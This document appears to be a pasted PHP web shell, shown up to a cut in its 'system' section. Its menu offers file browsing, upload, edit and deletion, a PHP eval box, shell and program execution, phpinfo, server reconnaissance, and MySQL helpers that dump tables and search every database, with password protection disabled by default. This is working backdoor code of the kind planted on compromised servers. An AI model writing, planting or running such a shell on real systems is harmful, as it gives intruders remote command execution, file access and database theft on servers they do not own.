CPKaqq5e

1<?php
2$settings = array();
3$settings['perms'] = "string";
4$settings['timeformat'] = "j.n.y, G:i";
5$settings['passprotect'] = false; //password protection
6$settings['users'] = array();
7//$settings['users']['USERNAME'] = 'PASSWORD';
8if(ini_get('register_globals')) {
9 foreach($_REQUEST as $key => $var) {
10  if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
11 }
12 foreach($_FILES as $key => $var) {
13  if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
14 }
15} 
16if(get_magic_quotes_gpc()) {
17 foreach($_POST as $key => $var) {
18  $_POST[$key] = stripslashes($var);
19 }
20 foreach($_GET as $key => $var) {
21  $_GET[$key] = stripslashes($var);
22 }
23 foreach($_FILES as $key => $var) {
24  $_FILES[$key] = stripslashes($var);
25 }
26 foreach($_REQUEST as $key => $var) {
27  $_REQUEST[$key] = stripslashes($var);
28 }
29}
30if(!function_exists('sys_get_temp_dir')) {
31	function sys_get_temp_dir() {
32		return "/tmp";
33	}
34}
35function post($v) {
36	if(isset($_POST[$v])) return $_POST[$v];
37	else return null; 
38}
39function get($v) {
40	if(isset($_GET[$v])) return $_GET[$v];
41	else return null; 
42}
43function request($v) {
44	if(isset($_REQUEST[$v])) return $_REQUEST[$v];
45	else return null; 
46}
47
48function files($v) {
49	if(isset($_FILES[$v])) return $_FILES[$v];
50	else return null; 
51}
52
53
54function showperms($perms,$type="string") {
55	switch($type) {
56		default:
57		case "string":
58			if (($perms & 0xC000) == 0xC000) {
59 			   // Socket
60  			  $info = 's';
61			} elseif (($perms & 0xA000) == 0xA000) {
62 			   // Symbolic Link
63 			   $info = 'l';
64			} elseif (($perms & 0x8000) == 0x8000) {
65 			   // Regular
66  			  $info = '-';
67			} elseif (($perms & 0x6000) == 0x6000) {
68 			   // Block special
69  			  $info = 'b';
70			} elseif (($perms & 0x4000) == 0x4000) {
71  			  // Directory
72   			 $info = 'd';
73			} elseif (($perms & 0x2000) == 0x2000) {
74  			  // Character special
75  			  $info = 'c';
76			} elseif (($perms & 0x1000) == 0x1000) {
77 			   // FIFO pipe
78  			  $info = 'p';
79			} else {
80  			  // Unknown
81   			 $info = 'u';
82			}
83
84			// Owner
85			$info .= (($perms & 0x0100) ? 'r' : '-');
86			$info .= (($perms & 0x0080) ? 'w' : '-');
87			$info .= (($perms & 0x0040) ?
88  			         (($perms & 0x0800) ? 's' : 'x' ) :
89    			        (($perms & 0x0800) ? 'S' : '-'));
90
91			// Group
92			$info .= (($perms & 0x0020) ? 'r' : '-');
93			$info .= (($perms & 0x0010) ? 'w' : '-');
94			$info .= (($perms & 0x0008) ?
95   			         (($perms & 0x0400) ? 's' : 'x' ) :
96   			         (($perms & 0x0400) ? 'S' : '-'));
97
98			// World
99			$info .= (($perms & 0x0004) ? 'r' : '-');
100			$info .= (($perms & 0x0002) ? 'w' : '-');
101			$info .= (($perms & 0x0001) ?
102    		         (($perms & 0x0200) ? 't' : 'x' ) :
103   			         (($perms & 0x0200) ? 'T' : '-'));
104			return $info;
105   		   break;
106   		   case "number":
107   				return substr(sprintf('%o', $perms), -4);
108   		   break;
109	}
110
111}
112
113
114function gettablesql($table,$ver = null) {
115	if($ver == null) {
116		list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
117		$ver = substr($cver,0,1);
118	}
119	echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n";
120	$gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
121	$getcolumns = mysql_query($gcqu);
122	if($getcolumns) {
123		$isfirst = 1;
124		$primaries = $npkeys = array();
125		while($column = mysql_fetch_assoc($getcolumns)) {
126			if(!$isfirst) echo ",\n";
127			else $isfirst = 0;
128			echo '	`'.mysql_real_escape_string($column['Field']).'` '.$column['Type'];
129			if(strtoupper($column['Null']) == "NO") echo ' NOT NULL ';
130			else echo ' NULL ';
131			if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT";
132			elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']); 
133			elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'"; 
134			if($column['Key'] == "PRI") $primaries[] = $column['Field'];
135			elseif($column['Key'] == "UNI") echo ",\n	UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)";
136			else {
137				if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'";
138				else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`";
139				$getkeys = mysql_query($gkqu);
140				if($getkeys) {
141					while($key = mysql_fetch_assoc($getkeys)) {
142						if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) {
143							$npkeys[$key['Key_name']][] = $key;
144						}
145					}
146				} else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n");
147			}
148		}
149		if($npkeys) {
150			foreach($npkeys as $keyname => $key) {
151				if(count($key) == 1) {
152					//no multirow key
153					$key = $key[0];
154					if($key['Non_unique']) {
155						echo ",\n	KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
156					}
157					else {								
158						echo ",\n	UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
159					}
160				} else {
161					if($key[0]['Non_unique']) {
162						echo ",\n	KEY (";
163					}
164					else {								
165						echo ",\n	UNIQUE KEY (";
166					}
167					$isfirst = 1;
168					foreach($key as $keypart) {
169						if(!$isfirst) echo ", ";
170						else $isfirst = 0;
171						echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : '');
172					}
173					echo ")";
174
175				}
176			}
177		}
178		if($primaries) {
179			echo ",\n	PRIMARY KEY (";
180			$isfirst = 1;
181			foreach($primaries as $primary) {
182				if(!$isfirst) echo ", ";
183				else $isfirst = 0;
184				echo '`'.mysql_real_escape_string($primary).'`';
185			}
186			echo ")\n";
187		}
188	} else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n");
189	echo ");\n\n";
190}
191function gettablecontentsql($table,$insertbreak = 10,$ver = 0) {
192	if($ver == null) {
193		list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
194		$ver = substr($cver,0,1);
195	}
196	$gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
197	$getcolumns = mysql_query($gcqu);
198	if($getcolumns) {
199		$columns = array();
200		while($column = mysql_fetch_assoc($getcolumns)) {
201			list($type) = explode("(",$column['Type'],2);
202			$columns[] = $column + array('rtype' => $type);
203			if($column['Extra'] == "auto_increment") $aitab = $column['Field'];
204		}
205	} else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n");
206	$insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` (";
207	$isfirst = true;
208	foreach($columns as $column) {
209		if(!$isfirst) $insertstart .= ", ";
210		else $isfirst = false;
211		$insertstart .= "`".mysql_real_escape_string($column['Field'])."`";
212	}
213	$insertstart .= ") VALUES (";
214	$insertend = ");\n";
215	$getrows = mysql_query("SELECT * FROM `".mysql_real_escape_string($table)."` ".(!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : ""));
216	$i = 0;
217	while($row = mysql_fetch_assoc($getrows)) {
218		if(!($i%$insertbreak)) echo $insertstart;
219		else echo ", (";
220		$isfirst = true;
221		foreach($columns as $column) {
222			if(!$isfirst) echo ", ";
223			else $isfirst = false;
224			if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null";
225			else {
226				switch($column['rtype']) {
227					default: echo "'".mysql_real_escape_string($row[$column['Field']])."'";  break;
228					case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']];  break;
229				
230				}
231			}
232		}
233		if(!(($i+1)%$insertbreak)) echo $insertend;
234		else echo ")";
235		$i++;
236	}
237	if($i != 0) echo ";\n";
238}
239function findindb($needle,$type='col',$identical = 0) {
240	$getdatabases = mysql_list_dbs();
241	while ($db = mysql_fetch_row($getdatabases)) {
242		mysql_query("USE `".$db[0]."`");
243		$gettables = mysql_query("SHOW TABLES");
244		while($table= mysql_fetch_row($gettables)) {
245			if($type == 'col') {
246				$getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`");
247				if($getcolumns) {
248					while($column = mysql_fetch_assoc($getcolumns)) {
249						foreach($needle as $n) { 
250							if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) {
251								echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Column: <b>".htmlentities($column['Field'])."</b> Found: ".htmlentities($n)."<br />";
252								break;
253							}
254						}
255					}
256				}
257			} elseif($type == 'table') {
258				foreach($needle as $n) { 
259					if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) {
260						echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Found: ".htmlentities($n)."<br />";
261						break;
262					}
263				}
264			}
265		}
266	}
267}
268function get_iden_query($iden) {
269	if($iden) {
270		$iden = base64_decode($iden);
271		$crit = explode("&",$iden);
272		if($crit) {
273			$query = "";
274			$error = 0;
275			foreach($crit as $cr) {
276				if(strpos($cr,"=") !== false) {
277					$crits = explode("=",$cr,2);
278					$query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'";
279				} else {
280					$error = 1;
281					break;
282				}
283			}
284			if(!$error) {
285				return $query;
286			} else echo "Error: invalid data specified.";
287		} else echo "Error: No specific row selected.";
288	} else echo "Error: That row doesn't exist (anymore?)";
289	return false;
290}
291
292
293if(!request('shownone')) { 
294?>
295<div style="font-size:12px; margin:0px; margin-bottom:5px; border:0px; border-bottom:1px black solid; padding:0px; ">
296	[<a href="?action=dir">Files/directories</a>]
297	[<a href="?action=eval">Execute PHP Code (eval)</a>]
298	[<a href="?action=shellexec">Execute Shell</a>]
299	[<a href="?action=exec">Execute ext. program</a>]
300	[<a href="?action=phpinfo">PHPInfo();</a>]
301	[<a href="?action=showglobals">Show all vars</a>]
302	[<a href="?action=mysql">MySQL</a>]
303	[<a href="?action=system">System</a>]
304	<br>
305	[<?php $thingcache = @php_uname(); if($thingcache) list($kernel) = explode("#",$thingcache,2); else $kernel = "Couldn't retrieve Kernel version"; echo $kernel; ?>]
306	[PHP Ver: <?php echo phpversion(); ?>]
307	<?php if(function_exists('php_ini_loaded_file')) { ?>[Ini file: <?php echo php_ini_loaded_file(); ?>]<?php } ?>
308	[User: <?php $thingcache = @get_current_user(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
309	[GID: <?php $thingcache = @getmygid(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
310	[UID: <?php $thingcache = @getmyuid();if($thingcache) echo $thingcache; else echo "Couldn't retrieve";  ?>]
311	[Safe mode: <?php  if(ini_get("safe_mode") || strtolower(ini_get("safe_mode")) == "on") echo "on"; else echo "off"; ?>]
312	[Open basedir: <?php if(ini_get("open_basedir") || strtolower(ini_get("open_basedir")) == "on") echo "on"; else echo "off"; ?>]
313	<br><span style="font-size:11px;">[Server: <?php echo htmlentities($_SERVER['SERVER_SOFTWARE']);?>]</span>
314	<br><span style="font-size:11px;">[Server IP: <?php echo htmlentities($_SERVER['SERVER_ADDR']);?> (<?php echo htmlentities($_SERVER['SERVER_NAME']);?>)] [Your IP: <?php echo htmlentities($_SERVER['REMOTE_ADDR']);?> (<?php echo htmlentities(gethostbyaddr($_SERVER['REMOTE_ADDR']));?>)] 
315		[Space: <?php if(@disk_free_space(getcwd()) && @disk_total_space(getcwd())) { echo round(disk_free_space(getcwd())/(1024*1024*1024),2);?>/<?php echo round(disk_total_space(getcwd())/(1024*1024*1024),2);?>GB<?php } else echo "Couldn't retrieve"; ?>] [Script pos: <a href="?action=dir&dir=<?php echo urlencode(getcwd());?>"><?php echo getcwd(); ?></a>]</span>
316
317	</div>
318<?php
319}
320$action = get('action');
321switch($action) {
322	default:
323	case "dir":
324	//add other options here later
325	case "listdir":
326		if(!get('dir')) $dir = getcwd();
327		else $dir = get('dir');
328		?>
329			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
330				<input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
331				Directory navigation: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>" size="60">
332				<input type="submit" value="List Dir">
333			</form>
334			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
335				<input type="hidden" name="action" value="touch">
336				Touch (create) file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
337				<input type="submit" value="Make file">
338			</form>
339			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
340				<input type="hidden" name="action" value="file">
341				Edit file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
342				<input type="submit" value="Open file">
343			</form>
344			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
345				<input type="hidden" name="action" value="mkdir">
346				Make directory: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>/" size="60">
347				<input type="submit" value="Make dir">
348			</form>
349			<form  style="margin:0px;" enctype="multipart/form-data" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>?action=upfile" method="POST">
350				<input type="hidden" name="dir" value="<?php echo htmlentities($dir); ?>">
351				Upload file to this dir: <input name="file" type="file">
352				<input type="submit" value="Upload file">
353				overwrite? <input type="checkbox" name="overwrite" value="1" />
354				rename? <input type="text" name="fname" value="" size="20">
355			</form>
356			
357		<?php
358		if(@is_dir($dir)) {
359			if($dircontent = scandir($dir)) {
360				echo "<table border=\"1\">";
361				?><tr><td>type</td><td>go</td><td>X</td><td>DL</td><td>name</td><td>size</td><td>mode</td><td>owner</td><td>group</td><td>access</td><td>change</td></tr><?php
362				foreach($dircontent as $thing) {
363					if(@is_dir($dir."/".$thing)) $isdir = true;
364					else $isdir = false;
365				
366					if($thing == ".") $thingpath =  "/";
367					else $thingpath = @realpath($dir."/".$thing);
368					?>
369						<tr>
370							<td>
371								<?php 
372									if($isdir) echo "<font color=\"#AAAA00\"><b>dir</b></font>"; 
373									else echo "<font color=\"#AAAAAA\"><b>file</b></font>";
374								?>
375							</td>
376							<td>
377								<?php 
378									if($isdir) echo "<a href=\"?action=listdir&dir=".urlencode($thingpath)."\">go</a>"; 
379									else echo "<a href=\"?action=file&file=".urlencode($thingpath)."\">go</a>";
380								?>
381							</td>
382							<td>
383								<?php 
384									if($isdir) { if($thingpath != "/") echo "<a href=\"?action=rmdir&dir=".urlencode($thingpath)."\">rm</a>"; }
385									else echo "<a href=\"?action=delfile&file=".urlencode($thingpath)."\">del</a>";
386								?>
387							</td>
388							<td>
389								<?php 
390									if(!$isdir) echo "<a href=\"?action=dlfile&shownone=true&file=".urlencode($thingpath)."\">dl</a>";
391									else echo "<a href=\"?action=zipdir&shownone=true&dir=".urlencode($thingpath)."\">zip</a>";
392								?>
393							</td>
394							<td>
395								<b><?php echo htmlentities($thing); ?></b>
396							</td>
397							<td>
398								<?php 
399									if($isdir) {  echo "-"; }
400									else echo ((round(filesize($thingpath)/1024,2) != 0) ? (round(filesize($thingpath)/1024,2)." kb") : (filesize($thingpath)."b"));
401								?>
402							</td>
403							<td>
404								<b style='font-family:courier,"courier new";'>
405									<?php 
406										echo showperms(@fileperms($thingpath),$settings['perms']);
407									?>
408								</b>
409							</td>
410							<td>
411								<?php 
412									echo @fileowner($thingpath);
413								?>
414							</td>
415							<td>
416								<?php 
417									echo @filegroup($thingpath);
418								?>
419							</td>
420							<td>
421								<?php 
422									echo date($settings['timeformat'],@fileatime($thingpath));
423								?>
424							</td>
425							<td><b>
426								<?php 
427									echo date($settings['timeformat'],@filectime($thingpath));
428								?>
429							</b></td>
430						</tr>
431					<?php
432				}
433				echo "</table>";
434			} else {
435				echo "<b>Error:</b> No permission to open \"".htmlentities($dir)."\". DENIED!<br>";
436			}
437		} else {
438			echo "<font color=\"#990000\">";
439			if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
440			else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
441			echo "</font>";
442		}
443		
444	break;
445	case "upfile":
446		if($file = files('file')) {
447			$dir = (trim(post('dir')) && is_dir(trim(post('dir')))) ? trim(post('dir')) : getcwd();
448			if(substr($dir,-1,1) != "/") $dir .= "/";
449			if(trim(post('fname'))) $filename = $dir.trim(post('fname'));
450			else $filename = $dir.$file['name'];
451			if(file_exists($filename)) {
452				echo "<font color=\"#990000\">File ".htmlentities($filename)." already exists!</font><br>";
453			}
454			if(!file_exists($filename) || post('overwrite')) {
455				if(file_exists($filename)) echo "<b>Overwriting...</b><br>";
456				if(move_uploaded_file($file['tmp_name'], $filename)) {
457					echo "<font color=\"#00AA00\"><b>FILE UPLOADED!</b></font><br>";
458				} else {
459					echo "<font color=\"#990000\">Upload failed. Fuck. </font><br>";
460				}
461			}
462
463		} else echo "<font color=\"#990000\"><b>Error:</b> No file uploaded</font><br>";
464		?>
465[<a href="?action=dir&dir=<?php echo urlencode($dir);?>">containing directory</a>] 
466[<a href="?action=delfile&file=<?php echo urlencode($filename);?>">delete again</a>]
467[<a href="?action=php&file=<?php echo urlencode($filename);?>">as php source</a>]
468[<a href="?action=html&file=<?php echo urlencode($filename);?>">as html</a>]
469[<a href="?action=file&file=<?php echo urlencode($filename);?>">edit file</a>]
470
471		<?php
472	break;
473	case "file":
474	case "editfile":
475		$file = get('file');
476		if($file) {
477			if(is_file($file)) {
478				if(post('newname') && post('newname') != $file) {
479					if(post('fnoverwrite') || !file_exists(post('newname'))) {
480						if(rename($file,post('newname'))) {
481							 echo "<font color=\"#00AA00\"><b>File name changed successfully</b></font><br>";
482						 	$file = post('newname');
483					 	}
484						else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name</font><br>";
485					} else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name - a file with that name already exists!</font><br>";
486				}
487				if(post('copyto') && post('copyto') != $file) {
488					if(post('fcoverwrite') || !file_exists(post('copyto'))) {
489						if(copy($file,post('copyto'))) {
490							 echo "<font color=\"#00AA00\"><b>File copied successfully</b></font><br>";
491						 }
492						else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file</font><br>";
493					} else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file - a file with that name already exists!</font><br>";
494				}
495				if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) {
496					if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) {
497						if(chmod($file,octdec(post('chmod')))) {
498							 echo "<font color=\"#00AA00\"><b>File CHMod to ".htmlspecialchars(post('chmod'))." successful</b></font><br>";
499							 $chmod = htmlspecialchars(post('chmod'));
500						 }
501						else echo "<font color=\"#990000\"><b>Error:</b> Failed to CHMod</font><br>";
502					} else echo "<font color=\"#990000\"><b>Error:</b> That is not a valid CHMod number.</font><br>";
503				} 
504				if(post('owner') && post('owner') != fileowner($file)) {
505					if(chown($file,post('owner'))) echo "<font color=\"#00AA00\"><b>File owner changed successfully</b></font><br>";
506					else echo "<font color=\"#990000\"><b>Error:</b> Failed to change owner </font><br>";
507				}
508				if(post('group') && post('group') != filegroup($file)) {
509					if(chgrp($file,post('group'))) echo "<font color=\"#00AA00\"><b>File group changed successfully</b></font><br>";
510					else echo "<font color=\"#990000\"><b>Error:</b> Failed to change group </font><br>";
511				}
512			}
513		}
514	case "php":
515	case "html":
516		$file = get('file');
517		?>
518			<form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
519				<input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
520				File: <input type="text" name="file" value="<?php echo htmlentities($file);?>" size="60">
521				<input type="submit" value="List">
522			</form>
523			
524		<?php
525		if($file) {
526			if(is_file($file)) {
527				$info = pathinfo($file);
528				if(post('contents')) {
529					if(file_put_contents($file,post('contents'))) {
530						echo "<font color=\"#00AA00\"><b>File edited successfully</b></font><br>";
531					} else echo "<font color=\"#990000\"><b>Error:</b> Can't writing to file!</font><br>";
532				} 
533				if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4);
534				?>
535					<form method="POST" action="<?php echo htmlentities(post('SCRIPT_NAME'));?>?action=<?php echo htmlentities($action); ?>&file=<?php echo htmlentities($file)?>">
536					new file name/path: <input type="text" name="newname" value="<?php echo htmlentities($file);?>" size="60"> <input type="checkbox" name="fnoverwrite" value="1">Overwrite existing files<br>
537					copy to: <input type="text" name="copyto" value="" size="60"> <input type="checkbox" name="fcoverwrite" value="1">Overwrite existing files<br>
538					new CHMOD: <input type="text" name="chmod" value="<?php echo $chmod;?>" size="60"><br>
539					new File owner (id or name): <input type="text" name="owner" value="<?php echo htmlentities(fileowner($file));?>" size="60"><br>
540					new File group (id or name): <input type="text" name="group" value="<?php echo htmlentities(filegroup($file));?>" size="60"><br>
541				<?php
542				if($action != "php" && $action != "html") {
543				?>
544					<textarea name="contents" style="width:80%; height:500;"><?php 
545						$handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
546						if($handle) {
547							while (!feof($handle)) {
548							    $buffer = fgets($handle, 4096);
549							    echo htmlentities($buffer);
550							}
551							fclose ($handle);
552						} else echo "Could not open file! Denied!";
553					?></textarea><br>
554				<?php
555				} elseif($action == "php") {
556					echo "<hr />";
557					if(highlight_file($file));
558					else echo "Could not open file! Denied!";
559					echo "<hr />";
560				} elseif($action == "html") {
561					echo "<hr />";
562					$handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
563					if($handle) {
564						while (!feof($handle)) {
565						    $buffer = fgets($handle, 4096);
566						    echo $buffer;
567						}
568						fclose ($handle);
569					} else echo "Could not open file! Denied!";
570					echo "<hr />";
571				}
572				?>
573					<input type="submit" value="edit!"> [<a href="?action=dir&dir=<?php echo urlencode($info['dirname']);?>">containing directory</a>] [<a href="?action=delfile&file=<?php echo urlencode($file);?>">delete</a>] [<a href="?action=php&file=<?php echo urlencode($file);?>">as php source</a>] [<a href="?action=html&file=<?php echo urlencode($file);?>">as html</a>] [<a href="?action=file&file=<?php echo urlencode($file);?>">edit file</a>]
574					</form>
575				<?php
576			} else {
577				echo "<font color=\"#990000\">";
578				if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
579				else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
580				echo "</font>";
581			}
582		}
583	break;
584	case "delfile":
585		$file = get('file');
586		if($file) {
587			if(is_file($file)) {
588				if(post('sure')) {
589					if(unlink($file)) echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" deleted successfully!</b></font><br><a href=\"?action=dir&dir=".htmlentities(( substr($file,0,strrpos($file,'/')) ))."\">Back to the directory listing</a>";
590					else echo "<font color=\"#990000\"><b>Error while deleting the file \"".htmlentities($file)."\"!</b></font>";
591				} else {
592					?>
593						<form method="POST">
594							Do you really want to delete the file "<?php echo htmlentities($file); ?>"?<br>
595							<input type="checkbox" name="sure" value="1"> Yes.<br>
596							<input type="submit" value="Do it!">
597						</form>
598					<?php	
599				}
600			} else {
601				echo "<font color=\"#990000\">";
602				if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
603				else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
604				echo "</font>";
605			}
606		}
607	break;
608	case "dlfile":
609		$file = get('file');
610		if($file) {
611			if(is_file($file)) {
612				$ffile = substr(strrchr($file,'/'),1);
613				$handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
614				if($handle) {
615					header('Content-Disposition: attachment; filename="'.$ffile.'"');
616					header('Content-Transfer-Encoding: binary');
617					header("Content-Length: " . filesize($file));
618					while (!feof($handle)) {
619						$buffer = fgets($handle, 4096);
620						echo $buffer;
621					}
622					fclose ($handle);
623				} else echo "Could not open file! Denied!";
624			} else echo "not a file";
625		} else echo "no file";
626	break;
627	case "rmdir":
628		$dir = get('dir');
629		if($dir) {
630			if(is_dir($dir)) {
631				if(post('sure')) {
632					if(rmdir($dir)) echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" deleted successfully!</b></font><br><a href=\"?action=dir\">Back to the directory listing</a>";
633					else echo "<font color=\"#990000\"><b>Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)</b></font>";
634				} else {
635					?>
636						<form method="POST">
637							Do you really want to delete the directory "<?php echo htmlentities($dir); ?>"? (it has to be empty)<br>
638							<input type="checkbox" name="sure" value="1"> Yes.<br>
639							<input type="submit" value="Do it!">
640						</form>
641					<?php	
642				}
643			} else {
644				echo "<font color=\"#990000\">";
645				if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
646				else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a directory<br>";
647				echo "</font>";
648			}
649		}
650	break;
651	case "touch":
652		$file = get('file');
653		$info = pathinfo($file);
654		if($file) {
655			if(@touch($file)) {
656				echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" touched successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=file&file=".urlencode($file)."\">to the file</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
657			} else echo "<font color=\"#990000\"><b>Error:</b> file \"".htmlentities($file)."\" could not be touched (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
658		}
659	break;
660	case "mkdir":
661		$dir = get('dir');
662		if($dir) {
663			if(@mkdir($dir)) {
664				echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" made successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($dir)."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
665			} else echo "<font color=\"#990000\"><b>Error:</b> directory \"".htmlentities($dir)."\" could not be made (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
666		}
667	break;
668	case "eval":
669		if(!request('shownone')) {
670			?>
671				Eval (execute) this code:
672				<form method="POST" action="?action=eval">
673					<input type="checkbox" name="shownone" value="1" <?php if(request('shownone')) echo "CHECKED";?>> Do not echo out anything except for the output of the executed code<br>
674					<input type="checkbox" name="showallerrors" value="1" <?php if(request('showallerrors')) echo "CHECKED";?>> Show all PHP errors, warnings and notices<br>
675					<textarea name="eval" style="width:90%;height:500;"><?php echo htmlentities(request('eval'));?></textarea><br>
676					<input type="submit" value="execute">
677				</form>
678			<?php
679		}
680		if(request('eval')) {
681			if(!request('shownone')) echo "evaling PHP Code below:<hr>";
682			if(request('showallerrors')) {
683				@error_reporting(E_ALL);
684			}
685			eval(request('eval'));
686		}
687	break;
688	case "shellexec":
689			?>
690				execute this shell (one command per line):
691				<form method="POST" action="?action=shellexec">
692					<textarea name="shellexec" style="width:90%;height:500;"><?php echo htmlentities(request('shellexec'));?></textarea><br>
693					<input type="checkbox" name="processasmany" value="1" <?php if(request('processasmany')) echo "CHECKED"; ?>> Proccess seperately (only check if the commands don't have anything to do with each other)
694					<input type="submit" value="execute">
695				</form>
696			<?php
697		if(request('shellexec')) {
698			if(!request('processasmany')) {
699				echo "executing shell below:<hr><pre>";
700				echo "<b>".htmlentities(request('shellexec'))."</b><hr><br>".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."<hr>";
701				echo "<hr></pre>";
702			} else {
703				$commands = explode("\n",str_replace("\r","",request('shellexec')));
704				echo "executing shell below:<hr><pre>";
705				foreach($commands as $cmd) echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(shell_exec($cmd))."<hr>";
706				echo "<hr></pre>";
707			}
708		}
709	break;
710	case "exec":
711			?>
712				execute this program (one command per line):
713				<form method="POST" action="?action=exec">
714					<textarea name="exec" style="width:90%;height:500;"><?php echo htmlentities(request('exec'));?></textarea><br>
715					<input type="submit" value="execute">
716				</form>
717			<?php
718		if(request('exec')) {
719				$commands = explode("\n",str_replace("\r","",request('exec')));
720				echo "executing below:<hr><pre>";
721				foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(print_r($output,true))."<hr>Return status:".htmlentities($ret)."<hr>";}}
722				echo "<hr></pre>";
723		}
724	break;
725	case "phpinfo":
726		phpinfo();
727	break;
728	case "system":
729		?>
730			<h2>System</h1>
731			<?php $sys = posix_uname(); ?>
732			Sysname: <?php echo htmlentities($sys['sysname']); ?><br />
733			nodename: <?php echo htmlentities($sys['nodename']); ?><br />
734			release: <?php echo htmlentities($sys['release']); ?><br />
735			version: <?php echo htmlentities($sys['version']); ?><br />
736			machine: <?php echo htmlentities($sys['machine']); ?><br />
737		<?php
